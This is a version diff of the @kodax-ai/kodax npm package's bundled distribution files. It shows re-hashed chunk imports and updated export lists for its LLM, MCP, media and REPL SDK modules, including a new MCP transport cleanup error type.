@kodax-ai/kodax 0.7.78 → 0.7.80

package/dist/sdk-llm.d.ts

@@ -1,12 +1,12 @@
-import { a7 as KodaXVerifyCredentialResult, k as KodaXMessage, p as KodaXProviderCapabilityProfile, i as KodaXImageBlock, a1 as KodaXToolDefinition, H as KodaXReasoningRequest, y as KodaXProviderStreamOptions, N as KodaXStreamResult, a8 as KodaXVerifyStrategy, c as KodaXContentBlock, a as KodaXCacheBoundary } from './types-chunks/types.d-DIpZJKUl.js';
-export { K as KodaXAssuranceIntent, b as KodaXChildFanoutClass, d as KodaXCustomProviderConfig, e as KodaXEphemeralSuffix, f as KodaXExecutionMode, g as KodaXExecutionPattern, h as KodaXHarnessProfile, j as KodaXListModelsResult, l as KodaXModelDescriptor, m as KodaXMutationSurface, n as KodaXNormalizedReasoningRequest, o as KodaXProtocolFamily, q as KodaXProviderConfig, r as KodaXProviderContextFidelity, s as KodaXProviderConversationSemantics, t as KodaXProviderEvidenceSupport, u as KodaXProviderLongRunningSupport, v as KodaXProviderMcpSupport, w as KodaXProviderMultimodalSupport, x as KodaXProviderSessionSupport, z as KodaXProviderToolCallingFidelity, A as KodaXProviderTransport, B as KodaXReasoningCapability, C as KodaXReasoningEffortPreset, D as KodaXReasoningEffortRequest, E as KodaXReasoningEffortWireStrategy, F as KodaXReasoningMode, G as KodaXReasoningProfile, I as KodaXRedactedThinkingBlock, J as KodaXReviewScale, L as KodaXRiskLevel, M as KodaXStableEffortIntent, O as KodaXTaskActionability, P as KodaXTaskBudgetOverrides, Q as KodaXTaskComplexity, R as KodaXTaskFamily, S as KodaXTaskResultMetadata, T as KodaXTaskResultSource, U as KodaXTaskRoutingDecision, V as KodaXTaskType, W as KodaXTaskWorkIntent, X as KodaXTextBlock, Y as KodaXThinkingBlock, Z as KodaXThinkingBudgetMap, _ as KodaXThinkingDepth, $ as KodaXThinkingWireStrategy, a0 as KodaXTokenUsage, a2 as KodaXToolResultBlock, a3 as KodaXToolResultContentItem, a4 as KodaXToolResultImageItem, a5 as KodaXToolResultTextItem, a6 as KodaXToolUseBlock, a9 as KodaXWireReasoningEffort } from './types-chunks/types.d-DIpZJKUl.js';
-export { K as KODAX_DEFAULT_PROVIDER, a as KODAX_DEFAULT_THINKING_BUDGETS, b as KODAX_PROVIDERS, c as KODAX_PROVIDER_SNAPSHOTS, d as KODAX_REASONING_MODE_SEQUENCE, e as KODAX_REASONING_SAFETY_RESERVE, f as KODAX_STABLE_EFFORT_INTENTS, g as KodaXAnthropicCompatProvider, h as KodaXError, i as KodaXModelCapabilities, j as KodaXNetworkError, k as KodaXOpenAICompatProvider, l as KodaXProviderError, m as KodaXRateLimitError, n as KodaXToolCallIdError, P as ProviderName, R as ResolveWireEffortInput, o as ResolvedWireEffort, p as clampThinkingBudget, q as clearRuntimeModelProviders, r as createCustomProvider, s as effortToLegacyReasoningMode, t as getAvailableProviderNames, u as getCustomModelCapabilities, v as getCustomProvider, w as getCustomProviderList, x as getCustomProviderModelDescriptors, y as getCustomProviderModels, z as getCustomProviderNames, A as getDefaultThinkingDepthForMode, B as getModelCapabilities, C as getProvider, D as getProviderConfiguredCapabilityProfile, E as getProviderConfiguredReasoningCapability, F as getProviderCredentialEnvironmentNames, G as getProviderList, H as getProviderModel, I as getProviderModelDescriptors, J as getProviderModels, L as getReasoningCapability, M as getRuntimeModelProvider, N as getRuntimeModelProviderCredentialEnvironmentNames, O as getRuntimeModelProviderNames, Q as isCustomProviderName, S as isKnownProvider, T as isProviderConfigured, U as isProviderName, V as isReasoningEnabled, W as isRuntimeModelProviderName, X as listAllModelCapabilities, Y as listBuiltinModelCapabilities, Z as listCustomProviderModelCapabilities, _ as listProviderModels, $ as mapDepthToOpenAIReasoningEffort, a0 as mapLegacyReasoningModeToEffortIntent, a1 as normalizeReasoningEffortValue, a2 as normalizeReasoningRequest, a3 as parseReasoningEffortEnv, a4 as registerCustomProviders, a5 as registerModelProvider, a6 as resolveModelCapabilities, a7 as resolveProvider, a8 as resolveProviderModelDescriptors, a9 as resolveReasoningEffort, aa as resolveReasoningEffortForModelSwitch, ab as resolveThinkingBudget, ac as resolveWireEffort, ad as validateCustomProviderConfig, ae as verifyProviderCredential } from './types-chunks/resolver.d-iAQ9ocLB.js';
+import { a8 as KodaXVerifyCredentialResult, k as KodaXMessage, q as KodaXProviderCapabilityProfile, i as KodaXImageBlock, a2 as KodaXToolDefinition, I as KodaXReasoningRequest, z as KodaXProviderStreamOptions, O as KodaXStreamResult, a9 as KodaXVerifyStrategy, c as KodaXContentBlock, a as KodaXCacheBoundary } from './types-chunks/types.d-CgrXrFrq.js';
+export { K as KodaXAssuranceIntent, b as KodaXChildFanoutClass, d as KodaXCustomProviderConfig, e as KodaXEphemeralSuffix, f as KodaXExecutionMode, g as KodaXExecutionPattern, h as KodaXHarnessProfile, j as KodaXListModelsResult, l as KodaXModelDescriptor, m as KodaXMutationSurface, n as KodaXNormalizedReasoningRequest, o as KodaXOpenAICompatMaxOutputTokensField, p as KodaXProtocolFamily, r as KodaXProviderConfig, s as KodaXProviderContextFidelity, t as KodaXProviderConversationSemantics, u as KodaXProviderEvidenceSupport, v as KodaXProviderLongRunningSupport, w as KodaXProviderMcpSupport, x as KodaXProviderMultimodalSupport, y as KodaXProviderSessionSupport, A as KodaXProviderToolCallingFidelity, B as KodaXProviderTransport, C as KodaXReasoningCapability, D as KodaXReasoningEffortPreset, E as KodaXReasoningEffortRequest, F as KodaXReasoningEffortWireStrategy, G as KodaXReasoningMode, H as KodaXReasoningProfile, J as KodaXRedactedThinkingBlock, L as KodaXReviewScale, M as KodaXRiskLevel, N as KodaXStableEffortIntent, P as KodaXTaskActionability, Q as KodaXTaskBudgetOverrides, R as KodaXTaskComplexity, S as KodaXTaskFamily, T as KodaXTaskResultMetadata, U as KodaXTaskResultSource, V as KodaXTaskRoutingDecision, W as KodaXTaskType, X as KodaXTaskWorkIntent, Y as KodaXTextBlock, Z as KodaXThinkingBlock, _ as KodaXThinkingBudgetMap, $ as KodaXThinkingDepth, a0 as KodaXThinkingWireStrategy, a1 as KodaXTokenUsage, a3 as KodaXToolResultBlock, a4 as KodaXToolResultContentItem, a5 as KodaXToolResultImageItem, a6 as KodaXToolResultTextItem, a7 as KodaXToolUseBlock, aa as KodaXWireReasoningEffort } from './types-chunks/types.d-CgrXrFrq.js';
+export { K as KODAX_DEFAULT_PROVIDER, a as KODAX_DEFAULT_THINKING_BUDGETS, b as KODAX_PROVIDERS, c as KODAX_PROVIDER_SNAPSHOTS, d as KODAX_REASONING_MODE_SEQUENCE, e as KODAX_REASONING_SAFETY_RESERVE, f as KODAX_STABLE_EFFORT_INTENTS, g as KodaXAnthropicCompatProvider, h as KodaXError, i as KodaXModelCapabilities, j as KodaXNetworkError, k as KodaXOpenAICompatProvider, l as KodaXProviderError, m as KodaXRateLimitError, n as KodaXToolCallIdError, P as ProviderName, R as ResolveWireEffortInput, o as ResolvedWireEffort, p as clampThinkingBudget, q as clearRuntimeModelProviders, r as createCustomProvider, s as effortToLegacyReasoningMode, t as getAvailableProviderNames, u as getCustomModelCapabilities, v as getCustomProvider, w as getCustomProviderList, x as getCustomProviderModelDescriptors, y as getCustomProviderModels, z as getCustomProviderNames, A as getDefaultThinkingDepthForMode, B as getModelCapabilities, C as getProvider, D as getProviderConfiguredCapabilityProfile, E as getProviderConfiguredReasoningCapability, F as getProviderCredentialEnvironmentNames, G as getProviderList, H as getProviderModel, I as getProviderModelDescriptors, J as getProviderModels, L as getReasoningCapability, M as getRuntimeModelProvider, N as getRuntimeModelProviderCredentialEnvironmentNames, O as getRuntimeModelProviderNames, Q as isCustomProviderName, S as isKnownProvider, T as isProviderConfigured, U as isProviderName, V as isReasoningEnabled, W as isRuntimeModelProviderName, X as listAllModelCapabilities, Y as listBuiltinModelCapabilities, Z as listCustomProviderModelCapabilities, _ as listProviderModels, $ as mapDepthToOpenAIReasoningEffort, a0 as mapLegacyReasoningModeToEffortIntent, a1 as normalizeReasoningEffortValue, a2 as normalizeReasoningRequest, a3 as parseReasoningEffortEnv, a4 as registerCustomProviders, a5 as registerModelProvider, a6 as resolveModelCapabilities, a7 as resolveProvider, a8 as resolveProviderModelDescriptors, a9 as resolveReasoningEffort, aa as resolveReasoningEffortForModelSwitch, ab as resolveThinkingBudget, ac as resolveWireEffort, ad as validateCustomProviderConfig, ae as verifyProviderCredential } from './types-chunks/resolver.d-C9IW4fmU.js';
 export { C as CostRate, a as CostTracker, D as DEFAULT_COST_RATES, K as KodaXLlmTimeoutConfig, b as KodaXResolvedLlmTimeoutConfig, P as ProviderCostSummary, R as RetryRecord, S as SessionCostSummary, T as TokenUsageRecord, c as calculateCost, d as createCostTracker, f as formatCost, e as formatCostReport, g as getCostRate, h as getSummary, p as parseTimeoutSecEnvMs, r as recordRetry, i as recordUsage, j as resolveLlmTimeoutConfig, t as timeoutSecToMs } from './types-chunks/cost-tracker.d-BeaenODW.js';
-export { C as CapabilityCache, a as CapabilityCacheEntry, b as CapabilityCacheSource, c as addRejectedEffort, d as capabilityCacheKey, g as getRejectedEfforts, n as narrowReasoningProfile, r as removeCacheEntry, s as sanitizeCapabilityCache } from './types-chunks/capability-learning.d-CVsdHw4j.js';
-import { K as KodaXBaseProvider } from './types-chunks/base.d-4e74xDdy.js';
-export { a as KodaXOnRetryAfterCallback, b as KodaXRetryAfterEvent, P as ParseRetryAfterOptions, R as RetryAfterResult, c as RetryAfterSource, e as extractHeadersFromError, p as parseRetryAfter } from './types-chunks/base.d-4e74xDdy.js';
+export { C as CapabilityCache, a as CapabilityCacheEntry, b as CapabilityCacheSource, c as addRejectedEffort, d as capabilityCacheKey, g as getRejectedEfforts, n as narrowReasoningProfile, r as removeCacheEntry, s as sanitizeCapabilityCache } from './types-chunks/capability-learning.d-iPSiAmc_.js';
+import { K as KodaXBaseProvider } from './types-chunks/base.d-DxG0m09Z.js';
+export { a as KodaXOnRetryAfterCallback, b as KodaXRetryAfterEvent, P as ParseRetryAfterOptions, R as RetryAfterResult, c as RetryAfterSource, e as extractHeadersFromError, p as parseRetryAfter } from './types-chunks/base.d-DxG0m09Z.js';
 import { SessionNotification } from '@agentclientprotocol/sdk';
-export { S as SideQueryDiagnostics, a as SideQueryRequest, b as SideQueryResult, c as SideQueryStopReason, d as SideQueryTerminalPhase, s as sideQuery } from './types-chunks/side-query.d-DTuLPcC5.js';
+export { S as SideQueryDiagnostics, a as SideQueryRequest, b as SideQueryResult, c as SideQueryStopReason, d as SideQueryTerminalPhase, s as sideQuery } from './types-chunks/side-query.d-CP1LiRiH.js';
 export { C as CapabilityKind, a as CapabilityProvider, b as CapabilityResult, c as CapabilitySearchFailure, d as CapabilitySearchFreshness, e as CapabilitySearchOptions, f as CapabilitySearchSnapshot } from './types-chunks/capability.d-K664nHOS.js';
 import '@anthropic-ai/sdk';
 import 'openai';

package/dist/sdk-llm.js

@@ -1,2 +1,2 @@
 // @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
-import{$,$a as or,A,Aa as Bo,B,Ba as Co,C,Ca as Do,D,Da as Eo,E,Ea as Fo,F,Fa as Go,G,Ga as Ho,H,Ha as Io,I,Ia as Jo,J,Ja as Ko,K,Ka as Lo,L,La as Mo,M,Ma as No,N,Na as Oo,O,Oa as Po,P,Pa as Qo,Q,Qa as Ro,R,Ra as So,S,Sa as To,T,Ta as Uo,U,Ua as Vo,V,Va as Wo,W,Wa as Xo,X,Xa as Yo,Y,Ya as Zo,Z,Za as _o,_,_a as $o,a as o,aa as oo,ab as rr,b as r,ba as ro,bb as er,c as e,ca as eo,cb as fr,d as f,da as fo,db as mr,e as m,ea as mo,eb as pr,f as p,fa as po,fb as tr,g as t,ga as to,gb as xr,h as x,ha as xo,i as a,ia as ao,j as b,ja as bo,k as c,ka as co,l as d,la as go,m as g,ma as ho,n as h,na as io,o as i,oa as jo,p as j,pa as ko,q as k,qa as lo,r as l,ra as no,s as n,sa as qo,t as q,ta as so,u as s,ua as uo,v as u,va as vo,w as v,wa as wo,x as w,xa as yo,y,ya as zo,z,za as Ao}from"./chunks/chunk-5NDCSFOP.js";import"./chunks/chunk-ONUPGMER.js";export{_o as DEFAULT_COST_RATES,d as KODAX_API_MIN_INTERVAL,b as KODAX_CAPPED_MAX_OUTPUT_TOKENS,ho as KODAX_DEFAULT_PROVIDER,w as KODAX_DEFAULT_THINKING_BUDGETS,c as KODAX_ESCALATED_MAX_OUTPUT_TOKENS,a as KODAX_MAX_TOKENS,go as KODAX_PROVIDERS,co as KODAX_PROVIDER_SNAPSHOTS,u as KODAX_REASONING_MODE_SEQUENCE,y as KODAX_REASONING_SAFETY_RESERVE,v as KODAX_STABLE_EFFORT_INTENTS,po as KodaXAcpProvider,fo as KodaXAnthropicCompatProvider,V as KodaXBaseProvider,f as KodaXError,t as KodaXNetworkError,mo as KodaXOpenAICompatProvider,m as KodaXProviderError,p as KodaXRateLimitError,x as KodaXToolCallIdError,P as WORKFLOW_MAX_CONCURRENCY_ABSOLUTE,O as WORKFLOW_MAX_CONCURRENCY_DEFAULT,n as addRejectedEffort,or as calculateCost,j as capabilityCacheKey,K as clampThinkingBudget,X as classifyStopReason,_ as classifyVerifyError,Po as clearRuntimeModelProviders,rr as createCostTracker,Ao as createCustomProvider,E as effortToLegacyReasoningMode,N as extractHeadersFromError,pr as formatCost,tr as formatCostReport,So as getAvailableProviderNames,to as getCodexCliDefaultModel,ao as getCodexCliKnownModels,$o as getCostRate,Io as getCustomModelCapabilities,Co as getCustomProvider,Fo as getCustomProviderList,Ho as getCustomProviderModelDescriptors,Go as getCustomProviderModels,Eo as getCustomProviderNames,I as getDefaultThinkingDepthForMode,xo as getGeminiCliDefaultModel,bo as getGeminiCliKnownModels,wo as getModelCapabilities,io as getProvider,no as getProviderConfiguredCapabilityProfile,lo as getProviderConfiguredReasoningCapability,To as getProviderCredentialEnvironmentNames,qo as getProviderList,ko as getProviderModel,vo as getProviderModelDescriptors,so as getProviderModels,z as getReasoningCapability,l as getRejectedEfforts,S as getRunScopedConfig,Lo as getRuntimeModelProvider,Oo as getRuntimeModelProviderCredentialEnvironmentNames,No as getRuntimeModelProviderNames,r as getScopedProviderCredential,mr as getSummary,$ as insertCacheBoundary,oo as isCacheBoundary,Y as isCleanStop,Do as isCustomProviderName,Ro as isKnownProvider,jo as isProviderConfigured,uo as isProviderName,A as isReasoningEnabled,Mo as isRuntimeModelProviderName,Wo as listAllModelCapabilities,yo as listBuiltinModelCapabilities,Jo as listCustomProviderModelCapabilities,Yo as listProviderModels,ro as lowerCacheBoundaries,L as mapDepthToOpenAIReasoningEffort,D as mapLegacyReasoningModeToEffortIntent,k as narrowReasoningProfile,U as normalizeCapabilityProfile,C as normalizeReasoningEffortValue,B as normalizeReasoningRequest,F as parseReasoningEffortEnv,M as parseRetryAfter,h as parseTimeoutSecEnvMs,W as parseToolInputWithSalvage,er as recordRetry,fr as recordUsage,e as redactScopedProviderCredential,Bo as registerCustomProviders,Ko as registerModelProvider,q as removeCacheEntry,i as resolveLlmTimeoutConfig,Vo as resolveModelCapabilities,T as resolvePromptCacheDisabled,Qo as resolveProvider,Uo as resolveProviderModelDescriptors,G as resolveReasoningEffort,H as resolveReasoningEffortForModelSwitch,J as resolveThinkingBudget,Zo as resolveWireEffort,Q as resolveWorkflowMaxConcurrency,Z as runVerifyCredential,o as runWithProviderCredential,R as runWithScopedConfig,s as sanitizeCapabilityCache,xr as sideQuery,eo as stripCacheBoundaries,g as timeoutSecToMs,zo as validateCustomProviderConfig,Xo as verifyProviderCredential};
+import{$,$a as or,A,Aa as Bo,B,Ba as Co,C,Ca as Do,D,Da as Eo,E,Ea as Fo,F,Fa as Go,G,Ga as Ho,H,Ha as Io,I,Ia as Jo,J,Ja as Ko,K,Ka as Lo,L,La as Mo,M,Ma as No,N,Na as Oo,O,Oa as Po,P,Pa as Qo,Q,Qa as Ro,R,Ra as So,S,Sa as To,T,Ta as Uo,U,Ua as Vo,V,Va as Wo,W,Wa as Xo,X,Xa as Yo,Y,Ya as Zo,Z,Za as _o,_,_a as $o,a as o,aa as oo,ab as rr,b as r,ba as ro,bb as er,c as e,ca as eo,cb as fr,d as f,da as fo,db as mr,e as m,ea as mo,eb as pr,f as p,fa as po,fb as tr,g as t,ga as to,gb as xr,h as x,ha as xo,i as a,ia as ao,j as b,ja as bo,k as c,ka as co,l as d,la as go,m as g,ma as ho,n as h,na as io,o as i,oa as jo,p as j,pa as ko,q as k,qa as lo,r as l,ra as no,s as n,sa as qo,t as q,ta as so,u as s,ua as uo,v as u,va as vo,w as v,wa as wo,x as w,xa as yo,y,ya as zo,z,za as Ao}from"./chunks/chunk-TRNAWSXP.js";import"./chunks/chunk-ONUPGMER.js";export{_o as DEFAULT_COST_RATES,d as KODAX_API_MIN_INTERVAL,b as KODAX_CAPPED_MAX_OUTPUT_TOKENS,ho as KODAX_DEFAULT_PROVIDER,w as KODAX_DEFAULT_THINKING_BUDGETS,c as KODAX_ESCALATED_MAX_OUTPUT_TOKENS,a as KODAX_MAX_TOKENS,go as KODAX_PROVIDERS,co as KODAX_PROVIDER_SNAPSHOTS,u as KODAX_REASONING_MODE_SEQUENCE,y as KODAX_REASONING_SAFETY_RESERVE,v as KODAX_STABLE_EFFORT_INTENTS,po as KodaXAcpProvider,fo as KodaXAnthropicCompatProvider,V as KodaXBaseProvider,f as KodaXError,t as KodaXNetworkError,mo as KodaXOpenAICompatProvider,m as KodaXProviderError,p as KodaXRateLimitError,x as KodaXToolCallIdError,P as WORKFLOW_MAX_CONCURRENCY_ABSOLUTE,O as WORKFLOW_MAX_CONCURRENCY_DEFAULT,n as addRejectedEffort,or as calculateCost,j as capabilityCacheKey,K as clampThinkingBudget,X as classifyStopReason,_ as classifyVerifyError,Po as clearRuntimeModelProviders,rr as createCostTracker,Ao as createCustomProvider,E as effortToLegacyReasoningMode,N as extractHeadersFromError,pr as formatCost,tr as formatCostReport,So as getAvailableProviderNames,to as getCodexCliDefaultModel,ao as getCodexCliKnownModels,$o as getCostRate,Io as getCustomModelCapabilities,Co as getCustomProvider,Fo as getCustomProviderList,Ho as getCustomProviderModelDescriptors,Go as getCustomProviderModels,Eo as getCustomProviderNames,I as getDefaultThinkingDepthForMode,xo as getGeminiCliDefaultModel,bo as getGeminiCliKnownModels,wo as getModelCapabilities,io as getProvider,no as getProviderConfiguredCapabilityProfile,lo as getProviderConfiguredReasoningCapability,To as getProviderCredentialEnvironmentNames,qo as getProviderList,ko as getProviderModel,vo as getProviderModelDescriptors,so as getProviderModels,z as getReasoningCapability,l as getRejectedEfforts,S as getRunScopedConfig,Lo as getRuntimeModelProvider,Oo as getRuntimeModelProviderCredentialEnvironmentNames,No as getRuntimeModelProviderNames,r as getScopedProviderCredential,mr as getSummary,$ as insertCacheBoundary,oo as isCacheBoundary,Y as isCleanStop,Do as isCustomProviderName,Ro as isKnownProvider,jo as isProviderConfigured,uo as isProviderName,A as isReasoningEnabled,Mo as isRuntimeModelProviderName,Wo as listAllModelCapabilities,yo as listBuiltinModelCapabilities,Jo as listCustomProviderModelCapabilities,Yo as listProviderModels,ro as lowerCacheBoundaries,L as mapDepthToOpenAIReasoningEffort,D as mapLegacyReasoningModeToEffortIntent,k as narrowReasoningProfile,U as normalizeCapabilityProfile,C as normalizeReasoningEffortValue,B as normalizeReasoningRequest,F as parseReasoningEffortEnv,M as parseRetryAfter,h as parseTimeoutSecEnvMs,W as parseToolInputWithSalvage,er as recordRetry,fr as recordUsage,e as redactScopedProviderCredential,Bo as registerCustomProviders,Ko as registerModelProvider,q as removeCacheEntry,i as resolveLlmTimeoutConfig,Vo as resolveModelCapabilities,T as resolvePromptCacheDisabled,Qo as resolveProvider,Uo as resolveProviderModelDescriptors,G as resolveReasoningEffort,H as resolveReasoningEffortForModelSwitch,J as resolveThinkingBudget,Zo as resolveWireEffort,Q as resolveWorkflowMaxConcurrency,Z as runVerifyCredential,o as runWithProviderCredential,R as runWithScopedConfig,s as sanitizeCapabilityCache,xr as sideQuery,eo as stripCacheBoundaries,g as timeoutSecToMs,zo as validateCustomProviderConfig,Xo as verifyProviderCredential};

package/dist/sdk-mcp.d.ts

@@ -1,7 +1,7 @@
 import { b as McpServersConfig } from './types-chunks/config.d-CJy1WENT.js';
 export { M as McpConnectMode, a as McpServerConfig, c as McpTransportKind } from './types-chunks/config.d-CJy1WENT.js';
 export { M as McpCapabilityDescriptor, a as McpCapabilityKind, b as McpCapabilityProvider, c as McpCapabilityRisk, d as McpCatalogItem, f as McpElicitRequest, g as McpElicitResult, h as McpIcon, i as McpManager, j as McpProviderOptions, k as McpReverseCapabilities, l as McpRoot, m as McpSamplingRequest, n as McpSamplingResult, o as McpServerCatalog, p as McpServerCatalogSnapshot, q as McpServerLogs, r as McpServerRuntime, s as McpServerRuntimeDiagnostics, t as McpServerStatus, u as McpServerToolList, v as McpToolTaskSupport, w as buildInitializeCapabilities, x as createMcpCapabilityId, y as createMcpManager, z as defaultMcpCacheDir, A as getMcpCachePaths, B as normalizeMcpCapabilityId, C as parseMcpCapabilityId, D as searchMcpCatalog } from './types-chunks/manager.d-B67TmPO1.js';
-export { A as AuthorizationServerMetadata, D as DiscoveredOAuthEndpoints, M as McpAuthRequiredError, a as McpExpiredSessionError, b as McpTransport, c as McpTransportEvents, O as OAuthClientInfo, d as OAuthLoginConsent, P as PerformOAuthLoginOptions, e as ProtectedResourceMetadata, W as WwwAuthenticateChallenge, f as createMcpTransport, g as discoverAuthorizationServerMetadata, h as discoverOAuthEndpoints, i as discoverProtectedResourceMetadata, j as extractInsufficientScope, k as extractResourceMetadataUrl, l as loadValidToken, p as performOAuthLogin, r as registerOAuthClient } from './types-chunks/oauth-login.d-Bgb4rdLN.js';
+export { A as AuthorizationServerMetadata, D as DiscoveredOAuthEndpoints, M as McpAuthRequiredError, a as McpExpiredSessionError, b as McpTransport, c as McpTransportCleanupIncompleteError, d as McpTransportEvents, O as OAuthClientInfo, e as OAuthLoginConsent, P as PerformOAuthLoginOptions, f as ProtectedResourceMetadata, W as WwwAuthenticateChallenge, g as createMcpTransport, h as discoverAuthorizationServerMetadata, i as discoverOAuthEndpoints, j as discoverProtectedResourceMetadata, k as extractInsufficientScope, l as extractResourceMetadataUrl, m as loadValidToken, p as performOAuthLogin, r as registerOAuthClient } from './types-chunks/oauth-login.d-6i-vidxv.js';
 import './types-chunks/capability.d-K664nHOS.js';
 
 interface McpTestServerFixture {

package/dist/sdk-mcp.js

@@ -1,2 +1,2 @@
 // @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
-import{Ab as i,Bb as p,Cb as c,Db as o,Eb as M,Fb as n,Gb as s,Hb as l,Ib as d,Jb as u,Kb as C,Lb as v,Mb as g,Nb as S,Ob as h,Pb as R,Qb as A,Rb as b,Sb as f,wb as e,xb as t,yb as r,zb as a}from"./chunks/chunk-VAT2QYXM.js";import"./chunks/chunk-6XM4B6K2.js";import"./chunks/chunk-2CFHBKRE.js";import"./chunks/chunk-NXO6GWSY.js";import"./chunks/chunk-ONUPGMER.js";export{o as McpAuthRequiredError,R as McpCapabilityProvider,c as McpExpiredSessionError,A as McpManager,h as McpServerRuntime,S as buildInitializeCapabilities,t as createMcpCapabilityId,b as createMcpManager,f as createMcpTestServerFixture,M as createMcpTransport,e as defaultMcpCacheDir,d as discoverAuthorizationServerMetadata,u as discoverOAuthEndpoints,l as discoverProtectedResourceMetadata,s as extractInsufficientScope,n as extractResourceMetadataUrl,p as getMcpCachePaths,g as loadValidToken,r as normalizeMcpCapabilityId,a as parseMcpCapabilityId,v as performOAuthLogin,C as registerOAuthClient,i as searchMcpCatalog};
+import{Cb as e,Db as t,Eb as r,Fb as a,Gb as p,Hb as i,Ib as c,Jb as o,Kb as n,Lb as M,Mb as s,Nb as l,Ob as d,Pb as u,Qb as C,Rb as v,Sb as g,Tb as S,Ub as h,Vb as R,Wb as m,Xb as A,Yb as b,Zb as f}from"./chunks/chunk-CEB5FDND.js";import"./chunks/chunk-EVXIJPZ6.js";import"./chunks/chunk-E7C4DRD2.js";import"./chunks/chunk-6UENDY33.js";import"./chunks/chunk-ONUPGMER.js";export{o as McpAuthRequiredError,m as McpCapabilityProvider,c as McpExpiredSessionError,A as McpManager,R as McpServerRuntime,n as McpTransportCleanupIncompleteError,h as buildInitializeCapabilities,t as createMcpCapabilityId,b as createMcpManager,f as createMcpTestServerFixture,M as createMcpTransport,e as defaultMcpCacheDir,u as discoverAuthorizationServerMetadata,C as discoverOAuthEndpoints,d as discoverProtectedResourceMetadata,l as extractInsufficientScope,s as extractResourceMetadataUrl,i as getMcpCachePaths,S as loadValidToken,r as normalizeMcpCapabilityId,a as parseMcpCapabilityId,g as performOAuthLogin,v as registerOAuthClient,p as searchMcpCatalog};

package/dist/sdk-media.d.ts

@@ -1,4 +1,4 @@
-import { i as KodaXImageBlock } from './types-chunks/types.d-DIpZJKUl.js';
+import { i as KodaXImageBlock } from './types-chunks/types.d-CgrXrFrq.js';
 
 type KodaXMediaErrorCode = 'CLIPBOARD_EMPTY' | 'CLIPBOARD_IMAGE_UNAVAILABLE' | 'UNSUPPORTED_PLATFORM' | 'IMAGE_DECODE_FAILED' | 'IMAGE_TOO_LARGE' | 'UNSUPPORTED_MEDIA_TYPE' | 'MODEL_INPUT_UNSUPPORTED' | 'FILE_ACCESS_DENIED';
 interface KodaXMediaErrorOptions {

package/dist/sdk-media.js

@@ -1,2 +1,2 @@
 // @kodax-ai/kodax — bundled distribution. See docs/ADR.md ADR-022 + ADR-024.
-import{A as k,B as l,C as n,D as q,E as s,F as u,k as o,l as r,m as e,n as f,o as m,p,q as t,r as x,s as a,t as b,u as c,v as d,w as g,x as h,y as i,z as j}from"./chunks/chunk-2CFHBKRE.js";import"./chunks/chunk-NXO6GWSY.js";import"./chunks/chunk-ONUPGMER.js";export{r as ImageResizeError,n as KODAX_FILE_MEDIA_TYPES,k as KODAX_IMAGE_MEDIA_TYPES,l as KODAX_VIDEO_MEDIA_TYPES,o as KodaXMediaError,x as MAX_DIMENSION,g as PASTE_TMP_DIR_ENV,h as PASTE_TMP_TTL_MS,a as TARGET_RAW_SIZE_BYTES,p as createFileArtifactFromPath,m as createImageArtifactFromPath,t as createVideoArtifactFromPath,u as enqueueWithArtifacts,q as getModelInputCapabilities,e as inferImageMediaType,f as inferVideoMediaType,b as normalizePastedImage,i as persistImageAsBlock,j as prunePasteTmpDir,d as readAndNormalizeClipboardImage,c as readClipboardImage,s as validateInputArtifactsForModel};
+import{A as k,B as l,C as n,D as q,E as s,F as u,k as o,l as r,m as e,n as f,o as m,p,q as t,r as x,s as a,t as b,u as c,v as d,w as g,x as h,y as i,z as j}from"./chunks/chunk-E7C4DRD2.js";import"./chunks/chunk-6UENDY33.js";import"./chunks/chunk-ONUPGMER.js";export{r as ImageResizeError,n as KODAX_FILE_MEDIA_TYPES,k as KODAX_IMAGE_MEDIA_TYPES,l as KODAX_VIDEO_MEDIA_TYPES,o as KodaXMediaError,x as MAX_DIMENSION,g as PASTE_TMP_DIR_ENV,h as PASTE_TMP_TTL_MS,a as TARGET_RAW_SIZE_BYTES,p as createFileArtifactFromPath,m as createImageArtifactFromPath,t as createVideoArtifactFromPath,u as enqueueWithArtifacts,q as getModelInputCapabilities,e as inferImageMediaType,f as inferVideoMediaType,b as normalizePastedImage,i as persistImageAsBlock,j as prunePasteTmpDir,d as readAndNormalizeClipboardImage,c as readClipboardImage,s as validateInputArtifactsForModel};

package/dist/sdk-repl.d.ts

@@ -1,29 +1,29 @@
 import React$1, { ReactNode } from 'react';
-import { A as AppProps, N as Message, ab as UIState, g as CreatableHistoryItem, l as HistoryItem, a8 as ToolCall, aa as UIActions, K as KeyInfo, z as KeypressHandler, a0 as StreamingState, S as PromptEditingMode, I as InputPromptProps, $ as StatusBarProps, a5 as Theme, a9 as ToolCallStatus, a1 as Suggestion, ac as UseTextBufferReturn, H as HistoryEntry, O as PastedContent, r as HistoryItemInfo, R as PermissionMode } from './types-chunks/public-api.d-B3AohsxN.js';
-export { a as AppState, b as AppendClientNoticeOptions, C as CompactSessionOptions, c as CompactSessionResult, d as Completer, e as Completion, f as ConfirmResult, h as CursorPosition, D as DEFAULT_UI_STATE, i as DeleteSessionResult, F as FILE_MODIFICATION_TOOLS, j as FileSessionStorage, k as FullTranscriptSessionData, m as HistoryItemAssistant, n as HistoryItemBase, o as HistoryItemError, p as HistoryItemEvent, q as HistoryItemHint, s as HistoryItemSidecar, t as HistoryItemSystem, u as HistoryItemThinking, v as HistoryItemToolGroup, w as HistoryItemType, x as HistoryItemUser, y as KeypressEvent, B as KeypressHandlerPriority, L as LearningBinding, E as LearningSurfaceSnapshot, G as LegacyMessageListProps, J as ListSessionsOptions, M as MemorySessionStorage, P as PERMISSION_MODES, Q as PermissionContext, T as PromptSubmitPayload, U as RunningSessionInfo, V as SessionData, W as SessionManager, X as SessionStorage, Y as SessionSummary, Z as SessionTranscriptEntry, _ as SessionTranscriptEntryType, a2 as TOOL_STATUS_ICONS, a3 as TextBuffer, a4 as TextBufferOptions, a6 as ThemeColors, a7 as ThemeSymbols, ad as VisualCursor, ae as VisualLayout, af as WatchSessionsCallback, ag as appendClientNotice, ah as archiveSession, ai as compactSession, aj as computeConfirmTools, ak as createMemorySessionStorage, al as createSessionManager, am as deleteSession, an as forkSession, ao as isPermissionMode, ap as listRunningSessions, aq as listSessions, ar as loadFullTranscript, as as loadSession, at as normalizePermissionMode, au as permissionModeDisplayName, av as rewindSession, aw as setActiveEntry, ax as unarchiveSession, ay as watchSessions } from './types-chunks/public-api.d-B3AohsxN.js';
